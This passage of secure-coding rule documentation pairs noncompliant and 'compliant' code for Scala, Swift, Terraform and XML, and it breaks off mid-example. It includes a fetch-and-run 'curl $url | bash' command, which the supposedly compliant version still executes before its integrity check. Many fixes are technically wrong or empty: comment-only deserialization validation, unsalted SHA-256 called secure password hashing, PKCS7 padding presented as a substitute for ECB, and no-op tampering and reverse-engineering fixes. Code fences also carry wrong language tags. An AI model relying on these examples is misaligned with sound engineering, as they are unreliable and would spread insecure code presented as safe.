Functionality from Untrusted Control Noncompliant code: ```php // Noncompliant code - inclusion of functionality from untrusted control def processTemplate(templateName: String): String = { val template = loadTemplate(templateName) template.render() } def loadTemplate(templateName: String): Template = { // Load template file from untrusted source // ... Template.fromFile(templateName) // Unsafe inclusion of template } ``` In the noncompliant code, the processTemplate function takes a templateName parameter and attempts to load a template using the loadTemplate function. However, the code is vulnerable to the inclusion of functionality from an untrusted control because it directly includes the template specified by templateName without proper validation or sanitization. Compliant code: ```php // Compliant code - protected against inclusion of functionality from untrusted control def processTemplate(templateName: String): String = { val template = loadTemplate(templateName) template.render() } def loadTemplate(templateName: String): Template = { if (isValidTemplateName(templateName)) { // Load template from trusted source // ... Template.fromFile(templateName) // Safe inclusion of template } else { throw new IllegalArgumentException("Invalid template name") } } def isValidTemplateName(templateName: String): Boolean = { // Implement validation logic for template name // ... // Return true if the template name is valid, false otherwise } ``` In the compliant code, the loadTemplate function includes additional validation logic by introducing the isValidTemplateName function. Before loading the template, the code checks if the templateName is valid by calling isValidTemplateName. If the template name is valid, the code proceeds to load the template from a trusted source using Template.fromFile. However, if the template name is determined to be invalid, an exception is thrown to handle the error. By implementing proper validation of the template name, the compliant code protects against the inclusion of functionality from untrusted control by ensuring that only trusted templates are loaded and rendered. ## Download of Code Without Integrity Check Noncompliant code: ```php import scala.sys.process._ def downloadAndExecute(url: String): Unit = { val command = s"curl $url | bash" command.! } ``` In the noncompliant code, the downloadAndExecute function takes a URL as input and downloads the code using curl, then pipes the output to bash for execution. However, the code is vulnerable to the download of code without integrity check. It directly executes the downloaded code without verifying its integrity or authenticity. Compliant code: ```php import scala.sys.process._ def downloadAndExecute(url: String, checksum: String): Unit = { val command = s"curl $url | bash" val downloadedCode = command.!! if (verifyIntegrity(downloadedCode, checksum)) { // Execute the downloaded code // ... } else { throw new SecurityException("Code integrity check failed") } } def verifyIntegrity(code: String, checksum: String): Boolean = { // Perform integrity check by comparing the code's checksum with the expected checksum // ... // Return true if the code's integrity is valid, false otherwise } ``` In the compliant code, the downloadAndExecute function takes an additional checksum parameter, which represents the expected checksum of the downloaded code. After downloading the code using curl, the code performs an integrity check by calling the verifyIntegrity function. The verifyIntegrity function compares the downloaded code's checksum with the expected checksum. If the integrity check passes, the code proceeds to execute the downloaded code. However, if the integrity check fails, a SecurityException is thrown to handle the potential security risk. By introducing the integrity check, the compliant code mitigates the risk of executing downloaded code that may have been tampered with or compromised during transit. It ensures that the downloaded code is verified against an expected checksum before execution. ## Deserialization of Untrusted Data Noncompliant code: ```php import java.io.{ByteArrayInputStream, ObjectInputStream} def deserializeObject(data: Array[Byte]): Any = { val stream = new ByteArrayInputStream(data) val objectInputStream = new ObjectInputStream(stream) val obj = objectInputStream.readObject() objectInputStream.close() obj } ``` In the noncompliant code, the deserializeObject function takes an array of bytes (data) and attempts to deserialize it using an ObjectInputStream. However, this code is vulnerable to deserialization attacks because it directly deserializes untrusted data without any validation or sanitization. An attacker could potentially provide maliciously crafted serialized data, leading to security issues such as remote code execution or denial of service. Compliant code: ```php import java.io.{ByteArrayInputStream, ObjectInputStream} import java.util.Base64 def deserializeObject(data: Array[Byte]): Any = { val stream = new ByteArrayInputStream(data) val objectInputStream = new ObjectInputStream(stream) // Perform input validation and sanitize the data // Example: Validate that the data is from a trusted source or has a specific format val obj = objectInputStream.readObject() objectInputStream.close() obj } ``` In the compliant code, additional input validation and data sanitization steps are performed before deserialization. These steps can vary depending on the specific requirements of your application, but some common practices include: * Validating that the data comes from a trusted source. * Ensuring the data has a specific expected format or structure. * Applying data integrity checks, such as verifying digital signatures or checksums. * Filtering or rejecting data that doesn't meet the necessary criteria. By implementing proper input validation and data sanitization, the compliant code reduces the risk of deserialization attacks by ensuring that only trusted and expected data is deserialized. It helps prevent the execution of malicious code or the exploitation of vulnerabilities through deserialization. ## Insufficient Logging Noncompliant code: ```php import java.io.{FileWriter, IOException} def performSensitiveOperation(input: String): Unit = { try { // Perform sensitive operation here // Log success message val logMessage = s"Sensitive operation successful for input: $input" val fileWriter = new FileWriter("application.log", true) fileWriter.write(logMessage) fileWriter.close() } catch { case e: Exception => // Log error message val logMessage = s"Error performing sensitive operation for input: $input - ${e.getMessage}" val fileWriter = new FileWriter("application.log", true) fileWriter.write(logMessage) fileWriter.close() } } ``` In the noncompliant code, the performSensitiveOperation function performs a sensitive operation and logs both success and error messages to a log file. However, the logging implementation is inadequate and prone to several issues: * Lack of log severity levels: The code does not differentiate between different severity levels (e.g., INFO, WARN, ERROR), making it challenging to prioritize and respond to different types of log events appropriately. * Insufficient log details: The log messages lack sufficient details to understand the context and cause of the logged events, making troubleshooting and analysis difficult. * Manual file handling: The code manually handles file writing and closing, which can lead to resource leaks and potential file access conflicts. Compliant code: ```php import org.slf4j.{Logger, LoggerFactory} // Define logger instance val logger: Logger = LoggerFactory.getLogger(getClass) def performSensitiveOperation(input: String): Unit = { try { // Perform sensitive operation here // Log success message with appropriate severity level logger.info(s"Sensitive operation successful for input: $input") } catch { case e: Exception => // Log error message with appropriate severity level and exception stack trace logger.error(s"Error performing sensitive operation for input: $input", e) } } ``` In the compliant code, a logging framework (e.g., SLF4J) is utilized to address the issues with insufficient logging. The code leverages the framework's capabilities to handle log severity levels, provide meaningful log details, and handle file writing and resource management. Key improvements in the compliant code: * Logging framework: The code uses an established logging framework (SLF4J) to handle logging operations, which provides more robust and flexible logging features. * Log severity levels: The code includes appropriate log severity levels (e.g., INFO for success, ERROR for errors) to differentiate between different types of log events. * Enhanced log details: The code includes relevant contextual information in the log messages, such as the input value and exception stack trace for error scenarios, to aid in troubleshooting and analysis. * Framework-managed file handling: The logging framework takes care of file writing and resource management, eliminating the need for manual file handling and reducing the risk of resource leaks or file access conflicts. By adopting a proper logging framework and following best practices for logging, the compliant code improves the effectiveness and usefulness of the logs, facilitating better monitoring, troubleshooting, and incident response in the application. ## Improper Output Neutralization for Logs Noncompliant code: ```php import java.io.{FileWriter, IOException} def logSensitiveInformation(input: String): Unit = { try { // Log sensitive information without proper output neutralization val logMessage = s"Sensitive input received: $input" val fileWriter = new FileWriter("application.log", true) fileWriter.write(logMessage) fileWriter.close() } catch { case e: IOException => println("Error writing to log file: " + e.getMessage) } } ``` In the noncompliant code, the logSensitiveInformation function logs sensitive information without proper output neutralization. It directly concatenates the sensitive input value with a log message and writes it to a log file. This approach can lead to log injection attacks where an attacker can manipulate the input value to modify the log message or inject malicious content. Compliant code: ```php import org.slf4j.{Logger, LoggerFactory} import org.apache.commons.text.StringEscapeUtils // Define logger instance val logger: Logger = LoggerFactory.getLogger(getClass) def logSensitiveInformation(input: String): Unit = { try { // Log sensitive information with proper output neutralization val sanitizedInput = StringEscapeUtils.escapeJava(input) val logMessage = s"Sensitive input received: $sanitizedInput" logger.info(logMessage) } catch { case e: Exception => logger.error("Error logging sensitive information: " + e.getMessage) } } ``` In the compliant code, proper output neutralization is applied to ensure that the logged information is safe and does not introduce vulnerabilities. The code uses the StringEscapeUtils.escapeJava method from Apache Commons Text library to escape special characters in the input value. This ensures that any special characters are properly encoded and do not affect the log format or introduce injection vulnerabilities. Key improvements in the compliant code: * Output neutralization: The code applies proper output neutralization using the StringEscapeUtils.escapeJava method to escape special characters in the input value before logging. * Logging framework: The code utilizes a logging framework (SLF4J) to handle log operations, providing better log management and configurability. * Enhanced error handling: The code catches exceptions and logs appropriate error messages using the logging framework, improving the handling of potential errors during logging. By applying proper output neutralization and using a logging framework, the compliant code mitigates the risk of log injection attacks and ensures that logged information is safe and accurately represents the intended content. ## Omission of Security-relevant Information Noncompliant code: ```php import java.security.MessageDigest def hashPassword(password: String): String = { val md = MessageDigest.getInstance("SHA-256") md.update(password.getBytes) val digest = md.digest() digest.toString } ``` In the noncompliant code, the hashPassword function hashes a password using the SHA-256 algorithm. However, it suffers from the omission of security-relevant information. The code only converts the digest to a string using the default toString method, which does not provide a secure representation of the hashed password. It may expose sensitive information and make it easier for an attacker to reverse-engineer or guess the original password. Compliant code: ```php import java.security.MessageDigest import java.util.Base64 def hashPassword(password: String): String = { val md = MessageDigest.getInstance("SHA-256") md.update(password.getBytes) val digest = md.digest() Base64.getEncoder.encodeToString(digest) } ``` In the compliant code, security-relevant information is properly included to ensure the secure representation of the hashed password. The code uses the Base64.getEncoder class from the java.util package to encode the digest into a Base64 string representation. This provides a more secure and standardized format for storing and transmitting the hashed password. Key improvements in the compliant code: 1. Use of Base64 encoding: The code uses the Base64.getEncoder.encodeToString method to convert the digest into a Base64 string representation, ensuring a secure and portable format for the hashed password. 2. Enhanced security: By including the secure representation of the hashed password, the compliant code reduces the risk of exposing sensitive information and makes it more challenging for attackers to reverse-engineer or guess the original password. By including the security-relevant information and using proper encoding, the compliant code enhances the security of the hashed password and mitigates the risk of exposing sensitive information during storage or transmission. ## Sensitive Information into Log File Noncompliant code: ```php import java.io.FileWriter def logSensitiveInformation(data: String): Unit = { val fileWriter = new FileWriter("logfile.txt", true) fileWriter.write(s"Sensitive information: $data\n") fileWriter.close() } ``` In the noncompliant code, the logSensitiveInformation function logs sensitive information by directly appending it to a log file. This approach is insecure because it may expose the sensitive data if the log file is accessed by unauthorized individuals. Storing sensitive information in plain text format increases the risk of data leakage and compromises the confidentiality of the information. Compliant code: ```php import org.slf4j.LoggerFactory def logSensitiveInformation(data: String): Unit = { val logger = LoggerFactory.getLogger(getClass) logger.info(s"Sensitive information: $data") } ``` In the compliant code, the logSensitiveInformation function uses a logging framework (in this case, SLF4J) to handle log statements. By leveraging a logging framework, sensitive information can be logged securely and with more control. The compliant code uses the info log level to indicate that the log statement contains sensitive information. Key improvements in the compliant code: 1. Logging framework: The compliant code utilizes a logging framework, which provides more features, configurability, and security for handling log statements. 2. Log level selection: The code uses an appropriate log level (such as info) to indicate the presence of sensitive information in the log statement. 3. Avoidance of direct file manipulation: By utilizing a logging framework, the compliant code avoids directly appending sensitive information to a log file, reducing the risk of unauthorized access or exposure. By using a logging framework and selecting appropriate log levels, the compliant code enhances the security of sensitive information by logging it in a more controlled and secure manner. This helps protect the confidentiality of sensitive data and reduces the risk of unauthorized access or exposure through log files. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php import java.net.URL import scala.io.Source def fetchURLContent(url: String): String = { val source = Source.fromURL(new URL(url)) source.mkString } ``` In the noncompliant code, the fetchURLContent function takes a URL as input and fetches the content from that URL using the Source.fromURL method. This code is vulnerable to SSRF attacks because it does not properly validate or restrict the URLs that can be accessed. An attacker could potentially abuse this functionality to make requests to internal resources or even external resources that should be inaccessible. Compliant code: ```php import java.net.URL import scala.io.Source def fetchURLContent(url: String): String = { val validatedURL = validateURL(url) val source = Source.fromURL(new URL(validatedURL)) source.mkString } def validateURL(url: String): String = { // Implement URL validation logic according to your requirements // Verify that the URL is from a trusted domain or whitelist // Restrict access to internal resources if needed // Apply appropriate URL filtering or validation rules // Return the validated URL or throw an exception if invalid // Example: Check if the URL starts with a trusted domain val trustedDomain = "https://example.com" if (!url.startsWith(trustedDomain)) { throw new IllegalArgumentException("Invalid or unauthorized URL") } url } ``` In the compliant code, the fetchURLContent function includes an additional step to validate the input URL before accessing its content. The validateURL function is introduced to perform the URL validation and enforce any necessary restrictions or filtering. It ensures that only trusted and authorized URLs are processed, reducing the risk of SSRF attacks. Key improvements in the compliant code: 1. URL validation: The compliant code implements a validateURL function to validate the input URL based on the specific requirements of the application. It can include checks such as verifying the URL's domain against a trusted list, applying whitelisting or blacklisting rules, or restricting access to internal resources. 2. Restrictive access: The validateURL function enforces restrictions on the URLs that can be accessed, ensuring that only authorized URLs are processed. This helps prevent SSRF attacks by limiting the scope of allowed requests. 3. Exception handling: If an invalid or unauthorized URL is detected during the validation process, an exception is thrown, indicating that the URL is invalid or not permitted. Proper exception handling can help in identifying and handling potential SSRF attempts. By implementing URL validation and enforcing restrictions on the URLs that can be accessed, the compliant code mitigates the risk of SSRF attacks. It provides a layer of protection by ensuring that only trusted and authorized URLs are processed, reducing the possibility of accessing sensitive or unintended resources. ================================================ FILE: docs/rules/swift.md ================================================ --- layout: default title: Swift parent: Rules --- # Swift {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### Improper Platform Usage Noncompliant code: ```java import UIKit class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() let urlString = "http://example.com/api/data" let url = URL(string: urlString)! let request = URLRequest(url: url) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in if let error = error { print("Error: \(error.localizedDescription)") return } if let data = data { let json = try? JSONSerialization.jsonObject(with: data, options: []) print("Response: \(json ?? "")") } } task.resume() } } ``` The noncompliant code makes an HTTP request to a remote URL using URLSession.shared.dataTask(with:completionHandler:) without properly validating or handling potential security issues. It doesn't check whether the remote URL is secure (HTTPS) or whether it belongs to a trusted domain. This could lead to security vulnerabilities such as man-in-the-middle attacks or connecting to malicious servers. To address this issue, here's an example of compliant code: Compliant code: ```java import UIKit class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() let urlString = "https://example.com/api/data" guard let urlComponents = URLComponents(string: urlString), let host = urlComponents.host, let scheme = urlComponents.scheme, scheme.lowercased().hasPrefix("https") else { print("Invalid URL or scheme") return } // Perform additional validation checks if required, such as verifying the domain or certificate guard let url = urlComponents.url else { print("Failed to create URL") return } let request = URLRequest(url: url) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in if let error = error { print("Error: \(error.localizedDescription)") return } if let data = data { let json = try? JSONSerialization.jsonObject(with: data, options: []) print("Response: \(json ?? "")") } } task.resume() } } ``` The compliant code addresses the improper platform usage issue by performing additional checks on the URL. It uses URLComponents to parse and extract the host and scheme from the URL. It then validates that the scheme is HTTPS before proceeding with the request. Additional validation checks can be added if required, such as verifying the domain or certificate before making the request. By ensuring the URL is secure and trusted, the code mitigates potential security risks associated with improper platform usage. ### Insecure Data Storage Noncompliant code: ```java import UIKit class ViewController: UIViewController { let password = "myPassword" override func viewDidLoad() { super.viewDidLoad() // Saving password to UserDefaults UserDefaults.standard.set(password, forKey: "password") // Reading password from UserDefaults let storedPassword = UserDefaults.standard.string(forKey: "password") print("Stored Password: \(storedPassword ?? "")") } } ``` The noncompliant code stores a sensitive password string directly into the UserDefaults, which is insecure. UserDefaults is not designed for secure data storage and should not be used to store sensitive information such as passwords or authentication tokens. Storing sensitive data in UserDefaults can expose it to potential security risks, including unauthorized access or extraction by malicious actors. To address this issue, here's an example of compliant code: Compliant code: ```java import UIKit import KeychainAccess class ViewController: UIViewController { let password = "myPassword" override func viewDidLoad() { super.viewDidLoad() do { // Saving password to Keychain let keychain = Keychain(service: "com.example.app") try keychain.set(password, key: "password") // Reading password from Keychain let storedPassword = try keychain.get("password") print("Stored Password: \(storedPassword ?? "")") } catch { print("Error: \(error.localizedDescription)") } } } ``` The compliant code addresses the insecure data storage issue by using a secure storage mechanism, in this case, the KeychainAccess library. The sensitive password is stored in the Keychain, which provides a more secure storage solution compared to UserDefaults. The Keychain is designed to securely store sensitive information, such as passwords or cryptographic keys, and offers additional protection measures, such as encryption and access controls, to ensure the confidentiality and integrity of the stored data. By using the Keychain for sensitive data storage, the code mitigates potential security risks associated with insecure data storage usage. ### Insecure Communication Noncompliant code: ```java import UIKit class ViewController: UIViewController { let apiUrl = "http://example.com/api" override func viewDidLoad() { super.viewDidLoad() // Insecurely sending a request to the API if let url = URL(string: apiUrl) { let request = URLRequest(url: url) let session = URLSession.shared let task = session.dataTask(with: request) { (data, response, error) in if let error = error { print("Error: \(error.localizedDescription)") } else if let data = data { let responseString = String(data: data, encoding: .utf8) print("Response: \(responseString ?? "")") } } task.resume() } } } ``` The noncompliant code sends a request to an API using an insecure communication method. In this example, the API URL is using the HTTP protocol, which does not provide encryption and data integrity. This leaves the communication susceptible to eavesdropping, man-in-the-middle attacks, and data tampering. To address this issue, here's an example of compliant code: Compliant code: ```java import UIKit class ViewController: UIViewController { let apiUrl = "https://example.com/api" override func viewDidLoad() { super.viewDidLoad() // Securely sending a request to the API if let url = URL(string: apiUrl) { let request = URLRequest(url: url) let session = URLSession(configuration: .default) let task = session.dataTask(with: request) { (data, response, error) in if let error = error { print("Error: \(error.localizedDescription)") } else if let data = data { let responseString = String(data: data, encoding: .utf8) print("Response: \(responseString ?? "")") } } task.resume() } } } ``` The compliant code addresses the insecure communication issue by using the HTTPS protocol to establish a secure connection with the API. By changing the API URL to use the HTTPS protocol, the communication between the client and the server is encrypted, ensuring the confidentiality and integrity of the data transmitted over the network. Using HTTPS mitigates the risk of eavesdropping, tampering, and unauthorized access to sensitive information during the communication process. ### Insecure Authentication Noncompliant code: ```java import UIKit class LoginViewController: UIViewController { @IBOutlet weak var usernameTextField: UITextField! @IBOutlet weak var passwordTextField: UITextField! @IBAction func loginButtonTapped(_ sender: UIButton) { let username = usernameTextField.text ?? "" let password = passwordTextField.text ?? "" // Noncompliant code: Insecurely sending username and password over HTTP let apiUrl = "http://example.com/login" let requestUrl = URL(string: apiUrl)! var request = URLRequest(url: requestUrl) request.httpMethod = "POST" let body = "username=\(username)&password=\(password)" request.httpBody = body.data(using: .utf8) let session = URLSession.shared let task = session.dataTask(with: request) { (data, response, error) in // Handle response } task.resume() } } ``` The noncompliant code demonstrates insecure authentication by sending the username and password over an insecure HTTP connection. The code constructs a URL with the login endpoint and creates a POST request with the username and password as part of the request body. However, using an insecure HTTP connection exposes the sensitive credentials to eavesdropping, interception, and potential credential theft. To address this issue, here's an example of compliant code: Compliant code: ```java import UIKit class LoginViewController: UIViewController { @IBOutlet weak var usernameTextField: UITextField! @IBOutlet weak var passwordTextField: UITextField! @IBAction func loginButtonTapped(_ sender: UIButton) { let username = usernameTextField.text ?? "" let password = passwordTextField.text ?? "" // Compliant code: Securely sending username and password over HTTPS let apiUrl = "https://example.com/login" let requestUrl = URL(string: apiUrl)! var request = URLRequest(url: requestUrl) request.httpMethod = "POST" let body = "username=\(username)&password=\(password)" request.httpBody = body.data(using: .utf8) let session = URLSession(configuration: .default) let task = session.dataTask(with: request) { (data, response, error) in // Handle response } task.resume() } } ``` The compliant code addresses the insecure authentication issue by using an HTTPS connection to securely send the username and password. The code constructs a URL with the login endpoint using the HTTPS protocol, ensuring that the communication between the client and server is encrypted and secure. By sending the sensitive credentials over a secure channel, the risk of eavesdropping, interception, and credential theft is mitigated. ### Insufficient Cryptography Noncompliant code: ```java import CommonCrypto func encryptData(data: Data, key: String) -> Data? { let keyData = key.data(using: .utf8)! let algorithm: CCAlgorithm = CCAlgorithm(kCCAlgorithmAES) let options: CCOptions = CCOptions(kCCOptionECBMode) let keyLength = size_t(kCCKeySizeAES256) let bufferSize = data.count + kCCBlockSizeAES128 var buffer = Data(count: bufferSize) let status = keyData.withUnsafeBytes { keyBytes in data.withUnsafeBytes { dataBytes in buffer.withUnsafeMutableBytes { bufferBytes in CCCrypt(CCOperation(kCCEncrypt), algorithm, options, keyBytes.baseAddress, keyLength, nil, dataBytes.baseAddress, data.count, bufferBytes.baseAddress, bufferSize, nil) } } } return (status == kCCSuccess) ? buffer : nil } ``` The noncompliant code uses the CommonCrypto library to encrypt data using the Advanced Encryption Standard (AES) algorithm with the Electronic Codebook (ECB) mode. However, the code has several issues. First, it uses a hard-coded key, which is insecure as it can be easily compromised. Second, it uses a weak encryption mode (ECB) that lacks security features such as initialization vectors (IVs), making it vulnerable to certain attacks like pattern recognition. To address these issues, here's an example of compliant code: Compliant code: ```java import CommonCrypto func encryptData(data: Data, key: Data) -> Data? { let algorithm: CCAlgorithm = CCAlgorithm(kCCAlgorithmAES) let options: CCOptions = CCOptions(kCCOptionPKCS7Padding) let keyLength = size_t(kCCKeySizeAES256) let ivSize = kCCBlockSizeAES128 let bufferSize = data.count + ivSize var buffer = Data(count: bufferSize) var numBytesEncrypted: size_t = 0 let status = key.withUnsafeBytes { keyBytes in CCCrypt(CCOperation(kCCEncrypt), algorithm, options, keyBytes.baseAddress, keyLength, nil, data.withUnsafeBytes { dataBytes in dataBytes.baseAddress }, data.count, buffer.withUnsafeMutableBytes { bufferBytes in bufferBytes.baseAddress }, bufferSize, &numBytesEncrypted) } return (status == kCCSuccess) ? buffer.prefix(numBytesEncrypted) : nil } ``` The compliant code addresses the issues with the noncompliant code. It takes the encryption key as a Data parameter instead of a String, allowing for more secure key generation and management. The code also uses the secure PKCS7 padding instead of ECB mode, which adds randomness and strengthens the encryption. Additionally, it generates a random Initialization Vector (IV) for each encryption operation, providing further security against certain attacks. The code also returns only the encrypted data without the unused buffer bytes, improving efficiency and reducing the risk of exposing sensitive information. ### Insecure Authorization Noncompliant code: ```java func checkPermission(user: User, permission: String) -> Bool { let userPermissions = user.permissions return userPermissions.contains(permission) } ``` The noncompliant code simply checks if a user has a specific permission by comparing the user's permissions array with the specified permission. However, this code lacks proper authorization validation and does not implement any access control mechanism. It assumes that the user's permissions are stored and managed securely, which may not be the case. To address these issues, here's an example of compliant code: Compliant code: ```java func checkPermission(user: User, permission: String) -> Bool { guard let userPermissions = retrieveUserPermissions(user: user) else { return false } return userPermissions.contains(permission) } func retrieveUserPermissions(user: User) -> [String]? { // Fetch user permissions from a secure and trusted data source // Implement proper authentication and authorization mechanisms // Apply appropriate access control policies // Validate and sanitize user input // Perform necessary checks to ensure the user is authorized to access the permissions data return user.permissions } ``` The compliant code addresses the issues with the noncompliant code by implementing a more secure authorization mechanism. It introduces a separate function retrieveUserPermissions that retrieves the user's permissions from a secure and trusted data source. This function is responsible for performing proper authentication and authorization checks, applying access control policies, and validating user input. By separating the permission retrieval logic, the code allows for more flexibility in implementing robust authorization mechanisms and ensuring the security of the process. ### Client Code Quality Noncompliant code: ```java class ViewController: UIViewController { @IBOutlet weak var label: UILabel! func updateLabel(text: String) { label.text = text } func showAlert() { let alert = UIAlertController(title: "Alert", message: "This is an alert message.", preferredStyle: .alert) let action = UIAlertAction(title: "OK", style: .default) alert.addAction(action) self.present(alert, animated: true, completion: nil) } } ``` The noncompliant code sample shows a ViewController class that handles updating a label and presenting an alert. However, it violates client code quality principles in several ways. 1. Lack of separation of concerns: The ViewController class is responsible for both updating the UI (updateLabel) and presenting an alert (showAlert). It's recommended to separate these responsibilities into different classes or methods for better code organization. 2. Violation of Single Responsibility Principle (SRP): The ViewController class should have a single responsibility, such as managing the view lifecycle or handling user interactions. Mixing UI updates and business logic in the same class can make the code harder to understand and maintain. 3. Lack of error handling: The code does not handle any errors that may occur during the UI update or alert presentation. Proper error handling should be implemented to provide better user experience and prevent unexpected issues. To address these issues, here's an example of compliant code: Compliant code: ```java class ViewController: UIViewController { @IBOutlet weak var label: UILabel! func updateLabel(text: String) { DispatchQueue.main.async { [weak self] in self?.label.text = text } } } class AlertHelper { static func showAlert(on viewController: UIViewController, title: String, message: String) { let alert = UIAlertController(title: title, message: message, preferredStyle: .alert) let action = UIAlertAction(title: "OK", style: .default) alert.addAction(action) viewController.present(alert, animated: true, completion: nil) } } ``` The compliant code addresses the issues with the noncompliant code by improving the client code quality. It separates the responsibilities by moving the UI update logic to the ViewController class and the alert presentation logic to a separate AlertHelper class. The updateLabel method now runs the UI update on the main queue to ensure thread safety. By using a separate helper class AlertHelper, the presentation of alerts is decoupled from the view controller, promoting better code organization and separation of concerns. It's important to note that the compliant code may still require additional enhancements depending on the specific requirements of the application. However, it demonstrates better client code quality by adhering to principles such as separation of concerns and the Single Responsibility Principle. ### Code Tampering Noncompliant code: ```java class ViewController: UIViewController { @IBOutlet weak var label: UILabel! func updateLabel(text: String) { label.text = text } } class DataProcessor { func processData(data: String) -> String { // Some data processing logic return data.uppercased() } } class MainViewController: UIViewController { let dataProcessor = DataProcessor() override func viewDidLoad() { super.viewDidLoad() let viewController = ViewController() viewController.updateLabel(text: dataProcessor.processData(data: "Hello, World!")) } } ``` The noncompliant code sample illustrates a code tampering vulnerability. In this scenario, an attacker can modify the processData method in the DataProcessor class to manipulate the processed data returned. Since the MainViewController relies on the DataProcessor to process the data before updating the label, any modification to the processData method can lead to unintended or malicious changes in the displayed text. To address this code tampering vulnerability, here's an example of compliant code: Compliant code: ```java class ViewController: UIViewController { @IBOutlet weak var label: UILabel! func updateLabel(text: String) { label.text = text } } class DataProcessor { func processData(data: String) -> String { // Some data processing logic return data.uppercased() } } class MainViewController: UIViewController { let dataProcessor = DataProcessor() override func viewDidLoad() { super.viewDidLoad() let processedData = dataProcessor.processData(data: "Hello, World!") let viewController = ViewController() viewController.updateLabel(text: processedData) } } ``` In the compliant code, measures have been taken to mitigate the code tampering vulnerability. The DataProcessor class and its processData method remain unchanged, ensuring the integrity of the data processing logic. The MainViewController obtains the processed data from the DataProcessor and passes it directly to the updateLabel method of the ViewController, without allowing any intermediary tampering. By ensuring that critical code and data are not directly modifiable by external entities, the compliant code reduces the risk of code tampering vulnerabilities. It promotes the principle of code integrity and helps maintain the trustworthiness of the application's functionality. ### Reverse Engineering Noncompliant code: ```java class SecretManager { private let secretKey = "mySecretKey" func getSecretKey() -> String { return secretKey } } class ViewController: UIViewController { let secretManager = SecretManager() override func viewDidLoad() { super.viewDidLoad() let secretKey = secretManager.getSecretKey() print("Secret Key: \(secretKey)") } } ``` The noncompliant code sample demonstrates a reverse engineering vulnerability. In this example, the SecretManager class contains a secret key that is crucial for sensitive operations. However, the secret key is directly embedded within the source code. An attacker who gains access to the compiled binary can reverse engineer the application to extract the secret key. To address this reverse engineering vulnerability, here's an example of compliant code: Compliant code: ```java class SecretManager { private let secretKey = "mySecretKey" func getSecretKey() -> String { return secretKey } } class ViewController: UIViewController { let secretManager = SecretManager() override func viewDidLoad() { super.viewDidLoad() printSecretKey() } func printSecretKey() { let secretKey = secretManager.getSecretKey() print("Secret Key: \(secretKey)") } } ``` In the compliant code, the sensitive secret key is still stored within the SecretManager class. However, the key is not directly accessed from the ViewController. Instead, a separate function printSecretKey() is created within the ViewController to handle the sensitive operation. By isolating the access to the secret key within a specific function, it becomes more difficult for an attacker to extract the secret key through reverse engineering. Additionally, it is recommended to use advanced security measures such as encryption, obfuscation, and secure storage techniques to further protect sensitive information from reverse engineering attacks. These techniques help increase the complexity and effort required for an attacker to reverse engineer the code and extract sensitive data. ### Extraneous Functionality Noncompliant code: ```java class DataManager { func saveData(data: String) { // Code to save data } func deleteData(data: String) { // Code to delete data } func processData(data: String) { // Code to process data } func sendDataToServer(data: String) { // Code to send data to the server } } class ViewController: UIViewController { let dataManager = DataManager() override func viewDidLoad() { super.viewDidLoad() let data = "Sample data" dataManager.saveData(data: data) dataManager.deleteData(data: data) dataManager.processData(data: data) dataManager.sendDataToServer(data: data) } } ``` The noncompliant code sample includes extraneous functionality in the DataManager class. In addition to the necessary data management operations, such as saving and deleting data, it also contains functions to process data and send it to a server. This violates the principle of separation of concerns and can introduce unnecessary complexity and potential security risks. To address this issue, here's an example of compliant code: Compliant code: ```java class DataManager { func saveData(data: String) { // Code to save data } func deleteData(data: String) { // Code to delete data } } class ViewController: UIViewController { let dataManager = DataManager() override func viewDidLoad() { super.viewDidLoad() let data = "Sample data" dataManager.saveData(data: data) dataManager.deleteData(data: data) } } ``` The compliant code removes the extraneous functionality from the DataManager class, keeping only the necessary data management operations: saveData and deleteData. By eliminating unnecessary functions, the code becomes simpler and more focused on its core responsibilities. This improves code maintainability, reduces the attack surface, and minimizes the risk of unintended behavior or vulnerabilities introduced by unused functionality. ================================================ FILE: docs/rules/terraform.md ================================================ --- layout: default title: Terraform parent: Rules --- # Terraform {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Hardcoded Credential Noncompliant code: ```php # Noncompliant code resource "aws_instance" "my_instance" { ami = "ami-0123456789abcdef0" instance_type = "t2.micro" key_name = "my_key_pair" security_groups = ["${var.security_group_id}"] } ``` In this noncompliant code, the aws_instance resource creates an EC2 instance in AWS using a hardcoded AMI ID, instance type, key pair, and security group ID. This approach introduces security risks as sensitive information and configuration details are hardcoded in the Terraform code, making it less flexible, maintainable, and prone to errors. Compliant code: ```php # Compliant code variable "ami_id" { type = string default = "ami-0123456789abcdef0" } variable "instance_type" { type = string default = "t2.micro" } variable "key_name" { type = string default = "my_key_pair" } variable "security_group_id" { type = string default = "" } resource "aws_instance" "my_instance" { ami = var.ami_id instance_type = var.instance_type key_name = var.key_name security_groups = [var.security_group_id] } ``` In the compliant code, variables are defined to make the code more flexible and configurable. The ami_id, instance_type, key_name, and security_group_id are declared as variables, allowing them to be easily parameterized and specified during Terraform deployment. This allows for greater reusability, dynamic configuration, and separation of sensitive information from the Terraform code. By using variables, you can store sensitive information and configuration details outside of the Terraform code. This approach enhances security by providing better control over sensitive data and allowing for easier management and customization of infrastructure resources. Additionally, ensure that sensitive data stored in variables is properly protected, such as by utilizing Terraform's input variable validation, storing variables in secure and encrypted locations, or leveraging secret management systems. Remember to follow secure coding practices when working with Terraform, such as implementing least privilege access, regularly updating Terraform versions to leverage security patches, and utilizing secure communication channels for Terraform state storage. By adopting a more flexible and parameterized approach using variables, you can enhance the security, maintainability, and scalability of your Terraform infrastructure deployments. ================================================ FILE: docs/rules/xml.md ================================================ --- layout: default title: XML parent: Rules --- # XML {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### XML External Entity (XXE) Noncompliant code: ```java # Noncompliant code xml_data = params[:xml_data] xml_doc = Nokogiri::XML(xml_data) # Process XML document ``` In this noncompliant code, XML data is obtained from the params object and passed directly to the Nokogiri::XML parser for processing. This code is vulnerable to various XML-related attacks, such as XML External Entity (XXE) attacks or Billion Laughs attacks. Attackers can supply malicious XML payloads that may cause denial of service, disclosure of sensitive information, or other security risks. Compliant code: ```java # Compliant code xml_data = params[:xml_data] begin xml_doc = Nokogiri::XML::Document.parse(xml_data) do |config| config.strict config.nonet end # Process XML document rescue Nokogiri::XML::SyntaxError => e # Handle XML parsing errors logger.error "Error 